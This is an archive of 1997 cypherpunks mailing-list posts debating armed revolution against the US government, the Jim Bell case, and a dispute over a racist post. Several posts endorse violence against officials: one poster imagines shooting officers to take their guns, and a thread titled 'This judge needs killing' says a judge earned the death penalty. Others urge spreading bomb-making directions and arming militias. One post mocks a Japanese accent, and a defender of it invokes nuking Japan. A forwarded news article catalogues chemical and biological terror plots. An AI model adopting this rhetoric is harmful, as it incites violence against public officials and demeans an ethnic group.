by non-sympathizers. A long time ago it was possible, given the distance of
water and land between peoples, to make a break with them physically. The
enemy could be driven out, sent "home", and the winners could develop their
new living arrangements in the new setting.

But there is no new setting to go to, there is nowhere to send the infidels.
The life of a new libertarian "society" would have to be created as a
virtual one, existing among or in-between the others. Of course the basis of
the original setup is still mentioned every once in a while, and so it is
still in the minds of everyone, even if only as a dim reference, so it could
be said that the most a current revolution could accomplish would be the
return of the original ideal to the minds of the population. But I think
that it would take much more than a few skirmishes to accomplish that, as it
doesn't appear that it carries all that much support. It would be like
getting a kid to take down some medicine; many don't really want to live so
independently, nor feel the need to identify what kind of life would be the
more ideal (i.e. they don't identify precisely the difference between a
socialist atmosphere and a libertarian one, nor concern themselves with why
they should spend any time worrying about the difference it makes.)

An intentional revolution, I fear, would just look like an attempt to make
people think. And therefore not taken too seriously. (And if the
revolutionaries lose? tough luck. Oh, well. )

..
Blanc
----------------------------------------------------------------------------

Subject: Re: What Will Revolution Look Like?
From: Adam Shostack <adam@homeport.org>
To: tcmay@got.net (Tim May)
CC: cypherpunks@toad.com

The distinction between civilians and soldiers, which came about in the 17th
and 18th centuries, is close to meaningless in the context of a modern
revolution. However, this distinction, and the Clausewitzian claim that war
is the continuation of politics by other means, underlay the 'law of war.'

War as the continuation of politics implies that the State sends soldiers to
war against other soldiers to fight for policy rights. War to gain
territory, war over insults or honor, religious war, is seen as a thing of
the past. Barbaric. Modern warriors can not understand people who play by
other rules. To some extent, this has been good for us civilians. The
firebombing of German cities were an exception, not the rule.

However, as the anti-colonial movement demonstrated, a people can
effectively fight a modern army, and win. They are marked as terrorists,
defamed for their capitalist activities such as drug smuggling to finance
the struggle, and hanged when caught.

A modern revolution, as Mao taught, is based on forcing people to decide if
they are with you or against you. There are no neutrals who simply want the
status quo to continue, because once the revolutionaries have started to do
their job, the state lashes out, passing fascist new laws (see Northern
Ireland, Peru, the United States). The status quo disappears, and the
revolutionaries are committed. It is only by making starkly clear who stands
where that enough people to fuel the revolution can have the manpower to
succeed. The alternative to the revolution becomes living under the
government that killed your family members. In Algeria, once the first few
thousands of martyrs died, every additional person the French killed was a
new reason to fight. Surrender, to the Algerians, became inconceivable. Life
as French was not worth living. So they fought.

When the revolution comes to the United States, it will not be a pretty
thing. Our best hope is for a rapid surrender of the current government,
which is not likely. By deploying now the tools of communication (remailers,
strong encryption, directions for building bombs and traps, cheap radio
transmitters), as well as the tools for deception (how hard is it to build a
fake GPS transmitter?), and the understanding that the US government has
grown cancerous, we bring closer the beginning and the end of the
revolution.

We bring its start closer by forcing the Government to show its true colors,
turning more people against it. We bring its finish closer by having ready
the tools to render ineffective the large fighting machines we have paid
for, by making it clear that the government does not have the support of the
people, and by making it clear that once committed, we will have to fight.

So, Tim, we disagree that it will be like nothing seen before. It will be
like many modern revolutions, because we can't force the government to fight
on our terms today.

20 years later, we will look back, and realize that governments have
murdered most of the innocents they will ever kill, because will can deploy
technology to make government voluntary. But we're not there, and getting
there may be bloody.

There is, of course, Duncan's Berlin Wall theory, but I fear things will
have to get worse before they get better.

Adam
--
"It is seldom that liberty of any kind is lost all at once."
-Hume
----------------------------------------------------------------------------

Subject: Re: What Will Revolution Look Like?
From: John Young <jya@pipeline.com>
To: cypherpunks@toad.com

Warmaking is ever changing in response to the last wins and losses. However,
winners are less likely to change than losers, for why change a successful
formula, publish it, or a well-spun dissimulation.

As ever, unknown forms of war are in gestation, being tested and debriefed,
in military institutions and wargames, in business, in education, in the
amorphous culture at large through legal competition and crime and their
variable gray areas where fair and unfair, civilized rules and their
breaking, are ever in grim and vicious dispute.

While there are piles of studies on organized and guerrilla wars of the
past, the most provocative are those that attempt to describe what's coming,
how to recognize its early warnings and what can be done to head it off or,
more likely, advance it.

The highest warmaking art is winning without physical fighting, to outfox
the enemy by demoralizing, by demonstrating that attack is futile, that
there is no chance of defeating a superior force. That's why military
exhibitionism and psy war is reputed among military and political leaders to
be as vital as that of brute force, as best exemplified by the Cold War
50-year stalemate and psychological "win-win" to a status of Cool War.

To get a handle on what's in store, imagine that completely unbelievable
methods of warfare, overt and covert, are being concocted now, composed of
strategies, tactics, warfighters and armaments never before used -- and will
not be revealed and understood until too late for defense.

Try to forget everything you know about warfighting, crime fighting,
conflict resolution, rules of engagement, black operations, guerrilla
tactics, hiding among the people. Assume the enemy knows everything you know
and more, is better armed and smarter than you, has more spies among your
supporters and in your most intimate circle.

Imagine that your toilet, your bed, your fridge, your car, your is triggered
to explode by radio or your computer by your password.

Consider that there will be no time to reflect and reconsider when things go
catastrophically wrong and the enemy is unrelenting attacking with inhuman
viciousness, when you're defenses are crumbling and weapons failing, when
mates are squealing, dead or run away, when you can't stop shitting
yourself, when your legs are buckling, when your minds racing out of
control, when you're begging god and mom for mercy and the upraised ax is
descending, the barrel back of head is firing.

Remember that who the enemy is no secret to either side, on whichever side
you're on, and presume that the emery is more ready and able to cook your
goose than you are theirs.

What actual war carnage teaches, what the current civil war in the US is
showing, is what the TV-sofa war does not: nobody wins, ever, except the
mindfuckers who've never gone berserk in combat or in the jobplace, killed
friend and foe to save own asses.

You only win wars by never having to fight them, those started by weakling
cowards unable to steal, cheat and lie well enough to satisfy their demonic
lusts.

Best to outsmart the enemy in war, work and love, so that what you're up to
is revealed only years later if ever. For the best won wars are never known
at the time, no parades, no medals, no glory, no war stories, no memorial
cemeteries and monuments, no veteran hospitals filled with carrion, just
peace and tranquillity shooting deer, harpooning dolphins, rip-tearing the
landscape for profligate cowboy wargames riding homicidal freeways.

We're all gonna lose our civil war in market place killings and road rage,
thanks to today's warfighting lesson in free fire criminal enterprise by
those who've never been shot and shot and shot, and lost for good -- the
vainglorious winners, the losers desperate to regain glory days.
----------------------------------------------------------------------------

Subject: Re: Bell sentencing timed to coincide with raids on militia
members?
From: "Brian B. Riley" <brianbr@together.net>
To: "Tim May" <tcmay@got.net>, "CypherPunks List" <cypherpunks@Algebra.COM>

On 10/31/97 3:01 PM, Tim May (tcmay@got.net) passed this wisdom:

>Get ready, folks. By the way, I'll be at the gun show at the Cow Palace in
>San Francisco on the weekend of November 8-9, probably Saturday, the 8th.
>Seems I'm running low on certain types of ammo, and I may want to pick up a
>couple more assault rifles before Swinestein succeeds in completely banning
>them.

I used to think that way ... but then I thought, why pay all that money and
walk the line of whatever Swinestein et al come up with. Instead I have my
deer rifles and a shotgun or two and ammo for both. The way this all is
working now, I have more combat experience than 90% of the active duty
military and most cops, and every day goes by more and more are retiring. If
it ever comes down to that, I'll take down one or two of them with my deer
rifle and help myself to their weapons and ammo ... also kind of makes sure
I haven't set myself up to depend on an obsolete caliber ... if I am not
good enough to take some of them down and take their weapons, no 300 nor
30,000 rounds for my very own Armalite is going to make any difference.

Brian B. Riley --> http://www.macconnect.com/~brianbr
For PGP Keys <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

"Everyone who lives dies; but not everyone who dies has lived"
-- No Fear
----------------------------------------------------------------------------

Subject: Re: What Will Revolution Look Like?
From: Jim Burnes <jim.burnes@ssds.com>
To: John Young <jya@pipeline.com>
CC: cypherpunks@toad.com

"To preserve [the] independence [of the people,] we must not let our rulers
load us with perpetual debt. We must make our election between economy and
liberty, or profusion and servitude. If we run into such debts as that we
must be taxed in our meat and in our drink, in our necessaries and our
comforts, in our labors and our amusements, for our callings and our creeds,
as the people of England are, our people, like them, must come to labor
sixteen hours in the twenty-four, give the earnings of fifteen of these to
the government for their debts and daily expenses, and the sixteenth being
insufficient to afford us bread, we must live, as they now do, on oatmeal
and potatoes, have no time to think, no means of calling the mismanagers to
account, but be glad to obtain subsistence by hiring ourselves to rivet
their chains on the necks of our fellow-sufferers."

--Thomas Jefferson to Samuel Kercheval, 1816.

jim
----------------------------------------------------------------------------

Subject: Re: FEMA site using cookies
From: Crisavec <dbrown@alaska.net>
To: cypherpunks@Algebra.COM

Attila T. Hun typethed the following...

>> The USMC 29 Palms Combat Arms Survey:

>>"The U.S. government declares a ban on the possession, sale,
>>transportation, and transfer of all non-sporting firearms
>>...consider the following statement:
>>> I would fire upon U.S. citizens who refuse or
>>> resist confiscation of firearms banned by the
>>> U.S. government..."
>
> they were looking for a yes/no answer --no maybes. if anybody thinks
>this is a joke --it was not; it was given to most units at 29 Palms,
>Pendleton, LeJuene, and Paris Island. the percentage responses were
>interesting: men with less than 5 years service were 90% "yes" --grizzled
>old NCOMs with 15 or more years were less than 15% "yes." shows what the
>federal government educational system is capable of conditioning with a
>little help from movies and television. subliminally, was has been
>glorified by the merchants of death: arms manufacturers and power hungry
>politicians. --

This doesn't surprise me at all Attila. They don't teach the constitution in
High School anymore. That accounts for the lower ranks. The NCOM's answers
are to be expected, They STRESS Posse Commitais<sp?> and the constitution
for ALL noncom's. It's part of the testing for promotion to E-5 and up.
Most of the noncom's have been in long enough to be thoroughly disillusioned
by the military in general. The only thing keeping a lot of them in is
inertia...

--Dave

Any neural system sufficiently complex to generate the axioms
of arithmetic is too complex to be understood by itself.
Kaekel's Conjecture
----------------------------------------------------------------------------

Subject: Fwd: psychoceramics: Fighting back against the Government
From: Alan Olsen <alan@clueserver.org>
To: cypherpunks@Algebra.COM

This is an interesting spin doctoring of Jim Bell's situation. I picked this
up off the psychoceramics list. Why it was there is unclear...

Terrorism's next wave -- Nerve gas and germs are the new weapons of choice
BY DAVID E. KAPLAN

Jeff Gordon thought he had seen it all. A veteran IRS investigator, Gordon's
job since 1988 had been to probe threats and assaults against his fellow
agents. There was no shortage in recent years--stabbings, fires, mortar
attacks, and big unexploded bombs outside IRS offices in Los Angeles and
Reno, Nevada. But in the first months of this year, Gordon found himself
working on the strangest case of his career. From an informant, he had
learned of a Portland, Ore., man named James Dalton Bell. Bell owed some
$30,000 in back taxes and served as a juror in a local "common law court."
Dozens of these self-appointed tribunals have issued "fines" and even death
sentences against public officials. Bell was also active in antigovernment
forums on the Internet, where he had posted a dark scheme threatening murder
of troublesome federal agents. Participants could send encrypted messages to
each other, Bell proposed, offering donations to whoever "predicted" how
long a targeted official would live. The winner, presumably the assassin,
would be rewarded with electronic fund transfers from anonymous donors, he
suggested. Gordon checked further. Bell, it turned out, was an electronics
engineer
at a nearby circuit board manufacturer. He was also an MIT-educated
chemist who had been arrested eight years earlier for making
methamphetamine, but pleaded guilty to a lesser charge. According to
court records, Bell had once told a friend: "The first thing to remember
is: Never make a chemist angry at you."
In February, the IRS docked Bell's wages and seized his 10-year-old car.
Inside the vehicle, Gordon found instructions for making bombs and molotov
cocktails. There was also far-right literature, a printout listing large
amounts of cyanide, and detailed information on fertilizer, a key ingredient
in the Oklahoma City bomb. But with no evidence that Bell had hurt anyone,
Gordon could not move. A burning stench. Four weeks later, on a Monday
morning in March, IRS officials encountered a terrible nose-burning stench
as they arrived at their building in Vancouver, the Portland suburb where
Bell lived. Investigators traced the smell to a welcome mat dosed with
propanethiol. The chemical is used by utilities in minuscule concentrations
to give natural gas its noticeable smell. "It's Bell," Gordon told his boss.
"I'm sure of it." Bell had attempted twice to buy propanethiol from a
chemical-supply company in Milwaukee, Gordon then learned. Worried that the
stink bomb was a trial run for something much worse, on April 1, authorities
raided Bell's home. They seized five computers and three semiautomatic
assault rifles, then opened his garage door. Before them stood dozens of
containers filled with chemicals. There were volatile solvents, explosives
ingredients, sodium cyanide, nitric acid, and diisopropyl
fluorophosphate--one of several ingredients that, if properly mixed, form
nerve gas--all in a residential neighborhood. "The level and type of
chemicals were extremely unusual," said Leroy Loiselle, who managed the
cleanup for the Environmental Protection Agency. "You don't need nitric acid
to keep aphids off your flowers." On Bell's computers, Gordon found two
other items: the names and home addresses of over 100 public officials--IRS
employees, FBI agents, local police officers--and a 169-page document, The
Terrorist's Handbook, with detailed instructions for making chemical weapons
and high explosives. Bell's friends told investigators that he had tried
using green beans to make botulin toxin, which causes botulism, and that he
claimed to have successfully made sarin, the nerve gas used by Japanese
cultists in their 1995 attack on the Tokyo subway.
Bell was arrested. In July he pleaded guilty to charges of obstruction of
IRS agents and use of a false Social Security number, and also admitted to
the stink bomb attack and the cyberassassination scheme. He faces up to
eight years in prison and $500,000 in fines. Bell declined to comment, but
he contended earlier that he is merely "a chemical hobbyist" and the
assassination scheme only an abstract proposal. "I'm a talker, not a doer,"
he said. The IRS's Jeff Gordon remains wary. According to court records,
after his arrest Bell boasted to a friend that police never found his most
dangerous chemical weapons. Gordon believes they could include a secret
stockpile of sarin.

New generation. Characters like James Dalton Bell are giving federal
officials fits these days. Bell, they believe, is one of a new generation of
tinkerers and technicians, of college-educated extremists threatening to use
biological, chemical, or radiological weapons to achieve their goals. Since
the Aum cult's Tokyo nerve gas attack, FBI officials say the number of
credible threats to use these weapons has jumped from a handful in 1995, to
20 last year, to twice that number this year. Among the incidents was the
1995 mailing of a videotape to Disneyland, showing two hands mixing
chemicals and a note threatening an attack on the theme park. Despite a
major investigation, the sender was never caught. Just last April someone
sent a petri dish labeled anthrax, an animal disease deadly to humans, to
the B'nai B'rith headquarters in Washington, D.C. That proved to be a hoax.

But other threats appear to be quite real. Four militia members in Minnesota
were convicted recently of planning to assassinate federal agents with a
biological toxin. In Ohio in 1995, a white supremacist pleaded guilty to
wire fraud in illegally obtaining three vials of bubonic plague bacteria.
Investigators have found biochemical agents in the hands of political
extremists, extortionists, murderers, and the mentally ill. U.S. News has
learned that the FBI has 50 current investigations of individuals suspected
of using or planning to use radiological, biological, or chemical agents.
Bureau officials say a major attack in the United States no longer seems
unlikely. "The consensus of people in the law enforcement and intelligence
communities is that it's not a matter of if it's going to happen, it's
when," warns Robert Blitzer, head of the FBI's terrorism section. "We are
very concerned."

To prepare, federal agencies have scrambled to set up new counterterrorism
strike forces (story, Page 32). Behind all this is the very real fear that
the world has entered a new stage in terrorism. Widespread technical
education and high-tech communications have vastly increased the number of
people with knowledge of how to synthesize chemicals and culture bacteria.
Books and videos on creating these substances--and turning them into
weapons--are now available on the Internet, at gun shows and survivalist
fairs, and through the mail.

While its effects would be the most destructive, a nuclear incident is
actually the least likely scenario, according to security experts. More
likely, they say, would be a biological weapon attack; a chemical attack is
the next likely possibility. The impact could range from the poisoning of an
individual to sophisticated attempts at mass murder. So far, the majority
have been limited efforts by loners or small groups. Most worrisome to
officials is the possible involvement of more established, state-sponsored
terrorist organizations--such as Hezbollah--with international reach.

While the number of terrorist attacks, both in the United States and abroad,
has gone down since the end of the cold war, there is a flip side.
Individual acts themselves have grown more deadly, as illustrated by the
Oklahoma City and World Trade Center bombings. In its annual terrorism
report issued last April, the State Department sees a trend "toward more
ruthless attacks on mass civilian targets" and the use of more powerful
weapons.

Threshold crossed. Until this decade, biological and chemical weapons were
the province of superpowers or renegade states like Iraq and North Korea.
But all that changed with Aum Supreme Truth, an obscure sect of New Age
fanatics based at the foot of Mount Fuji, 70 miles outside Tokyo. Recent
court testimony from sect members shows how the cult's young scientists
produced not only anthrax and botulin toxin but also various nerve agents,
including the sarin used on Tokyo's subway. Later attacks were planned for
New York and Washington, D.C.

Still, it is one thing to produce deadly agents and another to use them
effectively. Aum's attack killed only 12 people of the thousands in the
subway system, and on seven other occasions, attempted Aum attacks were
dogged by equipment failures and human error. "Trying to produce 100,000
casualties is much more difficult than is often stated," observes Jonathan
Tucker of the Monterey Institute of International Studies. Tucker notes that
problems abound with delivery systems, meteorological conditions, and the
agents themselves. Still, he warns that even crude weapons can easily cause
mass disruption. Aum's nerve gas, for example, was full of impurities, yet
it sent thousands to the hospital.

What worries police is growing evidence that others share similar ambitions.
In 1993, two years before the Aum attack, Canadian border agents stopped an
American electrician named Thomas Lavy and searched his car. They found four
guns, 20,000 rounds of ammunition, 13 pounds of gunpowder, neo-Nazi
literature, and $80,000 in cash. Lavy also had recipes for biological and
chemical weapons and a plastic bag filled with white powder. Had the agents
opened the bag, they likely would have died of respiratory failure and
paralysis. Tests showed the substance to be ricin, a lethal toxin extracted
from the castor bean plant. (Ricin, dabbed on a tiny pellet fired from an
umbrella-gun, was used by Soviet agents to murder a Bulgarian in London in
1978.) The poison is 6,000 times more toxic than cyanide, and there is no
antidote. Lavy had a quarter pound of the stuff.

In 1995, a man named Larry Wayne Harris was arrested after he obtained vials
of the bacteria that cause bubonic plague (Page 28). Harris is an Ohio
microbiologist and recent member of the white supremacist Aryan Nations. He
says his friends will strike at government officials with biochemical
weapons, if provoked. "If they arrest a bunch of our guys, they get a test
tube in the mail," he told U.S. News. And, he says, far worse could come.
"How many cities are you willing to lose before you back off?" he asks. "At
what point do you say: `If these guys want to go off to the Northwest and
have five states declared to be their own free and independent country, let
them do it'?" Authorities take Harris's comments seriously.

The recipes for such poison cocktails are available from underground
publishers and on the Internet. One popularizer is an Arkansan named Kurt
Saxon. Through books and videotapes, Saxon has been putting out ricin
recipes for at least nine years. Convinced that the U.S. will be invaded and
that the federal government can't be trusted to defend the country, he has
fashioned various homemade explosives and poisons, including cyanide
grenades and ricin applicators. In one segment of a $19.95 video, Saxon
performs like a sinister Julia Child, blending salt water and solvents with
castor beans. ("Pour in about 4 ounces of acetone," he says, "and shake it
up nice.") "Uncle Fester," another near-legendary figure in the chem-bio
underground, has authored such family classics as Silent Death, Improvised
Explosives, and a guide to methamphetamine and LSD manufacture. Fester
claims degrees in chemistry and biology, and his Silent Death describes how
to produce poison gas, botulin and shellfish toxins, and ricin.

Similarly, entire manuals for making homemade explosives--TNT, plastic,
napalm--can be downloaded from the Net, as well as plans for building
triggers, fuses, and timers. At least 11 online vendors offer books with
recipes on biological or chemical weapons, including Silent Death and Kurt
Saxon's The Poor Man's James Bond. All are based in the United States.
Adding to the problem, many of the chemicals used to make nerve gas and
other agents have perfectly legitimate uses and are readily available. "The
genie has always been out of the bottle," says one intelligence analyst.
"People are just discovering it."

The genie is also loose in the Middle East. According to intelligence
sources, notebooks and computer files recently seized from Hezbollah, the
Iranian-backed Islamic militia, contain information on how to produce
chemical agents. Hezbollah has also taken delivery of protective gear,
including gas masks and bodysuits, and obtained Katyusha rockets able to
deliver chemical warheads to Israel from their base in Lebanon. Hezbollah's
interests are shared by at least one other Islamic terrorist, Ramzi Yusef, a
trained engineer and reputed mastermind of the 1993 World Trade Center
bombing. Yusef's organization researched making sarin and reportedly planned
to assassinate President Clinton in the Philippines with phosgene gas. The
trade center bombers also packed cyanide into the charge that rocked the
building; the chemical apparently evaporated in the explosion.

Some analysts believe there have been other, unnoticed, attacks in the
United States. "It's almost certain there have been uses of biological
agents that have gone undetected," says Seth Carus, a proliferation expert
at the National Defense University. "Most cases are known because they came
to the attention of law enforcement through informants, not because of
medical authorities." Health officials, for example, were mystified by a
mass outbreak of salmonella poisoning in Oregon in 1984. The cause--an
attack by a nearby religious sect--went undetected until the cult's demise a
year later.

Exotic poisons are attracting not only terrorists but also murderers and
extortionists. Several recent trials have featured ricin as a murder weapon.
Product tamperers, too, are increasingly turning to biological agents. Says
Lori Ericson of Kroll Information Services: "We're seeing E. coli, cholera,
salmonella, HIV." In one British case, microbiologist Michael Just
threatened to contaminate the products of five food companies with
dysentery-causing bacteria. To make his point, he sent the firms test tubes
filled with the pathogen.

Society can likely tolerate the occasional murderer or extortionist wielding
biological or chemical weapons. The greater challenge undoubtedly will come
from those with broader grievances, from terrorists steeped in extremism and
political hatred. Perhaps scariest of all are the criminally insane, who may
bring technical ability, but little judgment, to their homemade
laboratories. Last April, authorities raided the house of one Thomas Leahy
in Janesville, Wis. Leahy, who takes medication for schizophrenia, was
obsessed with creating "killer viruses" to stop his enemies, both real and
imagined, according to police. He pleaded guilty to possessing ricin, but a
search of his home also found animal viruses and vaccines, staph bacteria
culture, fungicides, insecticides, hypodermic needles, and gas masks. As
Leahy reportedly told his wife, you can "never have too many poisons." With
Douglas Pasternak and Gordon Witkin

***********************************************************************
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---
| "That'll make it hot for them!" - Guy Grand |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer: |
| mankind free in one-key-steganography-privacy!" | Ignore the man |
|`finger -l alano@teleport.com` for PGP 2.6.2 key | behind the keyboard.|
| http://www.ctrl-alt-del.com/~alan/ |alan@ctrl-alt-del.com|
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')

                Soviet Union Sickle of Eunuchs Secret WebSite
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sun, 16 Nov 1997 22:53:48 +0800
To: Tim May <tcmay@got.net>
Subject: Re: This judge needs killing
In-Reply-To: <v0310280bb092291ceb73@[207.167.93.63]>
Message-ID: <199711161448.JAA12017@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



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In <v0310280bb092291ceb73@[207.167.93.63]>, on 11/14/97 
   at 09:18 AM, Tim May <tcmay@got.net> said:

>At 11:39 AM -0700 11/13/97, Paul Bradley wrote:
>>Uk News:
>>
>>Judge David Selwood today sentenced 3 writers for the magazine "Green
>>Anarchist" to 3 years imprisonment each for their articles in the
>>magazine which he concluded incited others to break the law.
>>The magazine contained diaries for the previous months animal rights
>>activism events and contained articles generally favourable to the cause
>>of animal liberation.
>>
>>Another judge who has richly earned the death penalty.

>This stifling of free speech, by both state and corporate interests, is a
>trend spreadingl like wildfire in the Western world.

>Libel, slander, defamation, damage, incitement, sedition, and obscenity
>cases are squelching free speech. Publishers are held liable for the
>words of others, and even distributors are held liable.

>Even here on Cypherpunks we see toadies like Bob Hettinga fretting that
>our words are going too far, that we must learn to police ourselves or
>the police will be forced to do so.

>(Hey, if the Paladin case withstands Supreme Court scrutiny and his
>upheld, look for the Cypherpunks list node distributors to face criminal
>charges.)

If anyone here needs a real world example of how fear and intimidation
have a stifling effect on free speech all one has to do is look at the
abandoned British subjects in Hong Kong (truly a dark day in this history
of UK). While China has done nothing yet to clamp down on speech in Hong
Kong self censorship is rampet their for fear of what they "might" do.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sun, 16 Nov 1997 23:02:02 +0800
To: ulf@fitug.de (Ulf Möller)
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <9711142104.AA49354@public.uni-hamburg.de>
Message-ID: <199711161451.JAA12050@users.invweb.net>
MIME-Version: 1.0
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In <9711142104.AA49354@public.uni-hamburg.de>, on 11/14/97 
   at 10:04 PM, ulf@fitug.de (Ulf Möller) said:

>> If you don't speak up when someone says something objectionable, you are
>> implicitly condoning it.  Silence gives consent.

>I'm not implicitly condoning the ASCII art insultbot just because I
>ignore it.  Nor am I implicitly condoning William Geiger's posts when I
>don't read them.

Come on Ulf, your among friends you can admit it, late at night when no
one is looking you are reading my posts with joyfull glee. :)


-- 
---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sun, 16 Nov 1997 23:09:40 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <62c0ce046ea812e50882fefc2a6c5667@anon.efga.org>
Message-ID: <199711161505.KAA12279@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <62c0ce046ea812e50882fefc2a6c5667@anon.efga.org>, on 11/14/97 
   at 08:54 PM, Anonymous <anon@anon.efga.org> said:

>Tim May <tcmay@got.net> wrote:

>> At 10:37 PM -0700 11/12/97, Nobuki Nakatuji wrote:
>> >There are RC4 sourcecode in ftp.replay.com.
>> >but, Is it  same RC4 developed RSADSI ?
>> >
>> 
>> It am developed.
>> 
>> You go back where you came. You go back hotmail. We tired your stupid
>> questions on RC4 and your Misty posts.
>> 
>> Sayonara!
>> 
>> (And they wonder why we kicked Japan's butt.)


>Paul Bradley <paul@fatmans.demon.co.uk> writes:

>> As for white supremacy, look elsewhere, I think you`ll 
>> find Tim`s post an example of what the developed world knows as humour, 
>> not a serious attack on any ethnic group.

>Tim May's post seems funny to you?  Not a racist comment?

>His imitation of a Japanese accent is purely offensive.  Paul, would you
>feel comfortable offering this kind of "humor" in a gathering which
>included Japanese visitors, perhaps potential customers?  That comment
>about kicking Japan's butt would really be humorous, wouldn't it?

>It is astonishing that people like you and William Geiger, who apparently
>make their living as consultants, feel so comfortable publicly approving
>racist comments directed against the Japanese.  Does William expect ever
>to work with a Japanese customer, after suggesting that Truman should
>have dropped additional atomic bombs on Japan?

>Even if you share Tim May's lack of moral constraint, you presumably do
>not also share his wealth.  Pragmatic considerations alone should make
>you reluctant to be an apologist for racist comments, or in William's
>case to compound the error with shockingly offensive remarks of his own.


Exactly how do you equate everything negative that is said against Japan
as to being racist? I guess if I had said it about Germany then it would
have been ok?? I bet you are one of those skirt wearing liberals that shed
tears over nuking Japan as being evil but have no problems with the
firebombing of Dresdin.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 17 Nov 1997 01:08:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism
In-Reply-To: <62c0ce046ea812e50882fefc2a6c5667@anon.efga.org>
Message-ID: <19971116085933.51526@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Nov 15, 1997 at 02:38:48PM +0000, Paul Bradley wrote:
> 
> > > find Tim`s post an example of what the developed world knows as humour, 
> > > not a serious attack on any ethnic group.
> > 
> > Tim May's post seems funny to you?  Not a racist comment?
> 
> It seems like something which has been blown out of all proportion by a 
> few over-zealous pinko-liberal members of the list who support free 
> speech right upto the point where someone says something which upsets 
> them, then they run crying to mommy or hide under the bed. 

So far as I know, there hasn't been a single post suggesting that 
Tim's freedom of speech be curtailed.  Nobody is running to mommy, or 
hiding under the bed.  And in the context of this list I have no idea 
what "over-zealous pinko liberal" means.

> Racist comments to me would be those that generalised the opinion to all 
> Japanese, Tim insulted one particular person.

I don't base my assessment of Tim on that single incident -- it's 
based on a history of his comments going back some time.  And I only 
bring it up now because others have.  

> If you are going to become
> oversensitive about such comments the cypherpunks list is probably the
> worst place to be.

I'm not oversensitive -- just stating the obvious to the oblivious.
It is an unfortunate fact that a large percentage of the population is
racist without even being aware of it, and, like you, vigorously deny
it.

> > His imitation of a Japanese accent is purely offensive.  Paul, would
> > you feel comfortable offering this kind of "humor" in a gathering which
> > included Japanese visitors, perhaps potential customers? 
> 
> No, because most people would misinterpret it in the same way you, and 
> some other list members have, if I could be assured they would understand 
> it as a light hearted mild insult rather than a racist remark I would 
> have no problem saying it in those circumstances.

Quit a few years ago I was at a Cray User Group meeting.  Mike Booth,
a very bright technical guy who realized where the money was, and was
transitioning to sales, was giving a presentation on an idea he had
that Cray was marketing as "Microtasking".  It was a very large hall;
there were probably 700 people in attendance, largely white male.  I
was sitting way in the back; I had already seen the presentation. 
Mike was describing how the processors find work: "It's like a Chinese
fire drill." A slight figure in the front, about the 15th row, stood
up and said something I couldn't hear.  Mike couldn't hear it either. 
He asked the individual to speak up.  The crowd was quiet, and a thin,
heavily accented voice floated over it: "Please not to use the term
'Chinese fire drill'".

I have come to appreciate the level of courage involved.  It's not
like spitting out obnoxious statements to a friendly crowd of toadies
on cypherpunks. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 17 Nov 1997 01:09:16 +0800
To: cypherpunks@Algebra.COM
Subject: The Policeman Inside
In-Reply-To: <v0310280bb092291ceb73@[207.167.93.63]>
Message-ID: <v03102822b094c86ba119@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:38 AM -0700 11/16/97, William H. Geiger III wrote:

>If anyone here needs a real world example of how fear and intimidation
>have a stifling effect on free speech all one has to do is look at the
>abandoned British subjects in Hong Kong (truly a dark day in this history
>of UK). While China has done nothing yet to clamp down on speech in Hong
>Kong self censorship is rampet their for fear of what they "might" do.

William Burroughs warned of "the policeman inside."

(A variation of my "Big Brother Inside" logo might be "Policeman Inside."
Perhaps as many as one in ten thousand might catch the Burroughs reference.)

As Bob Hettinga, Kent Crispin, and other policemen inside are warning, if
we don't censor ourselves, if we don't narc out others, the real police
will have to do it for us. Welcome to the New World Order.

Of course, an alternative is to say "Fuck you" to those who want us to shut
up, to deploy more unbreakable crypto, to encourage more armed militias to
spring up, to destabilize the regimes in Hong Kong, Japan, and India, and
to "Just Say No" to backdoors in PGP and other crypto products. Bring on
crypto anarchy.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
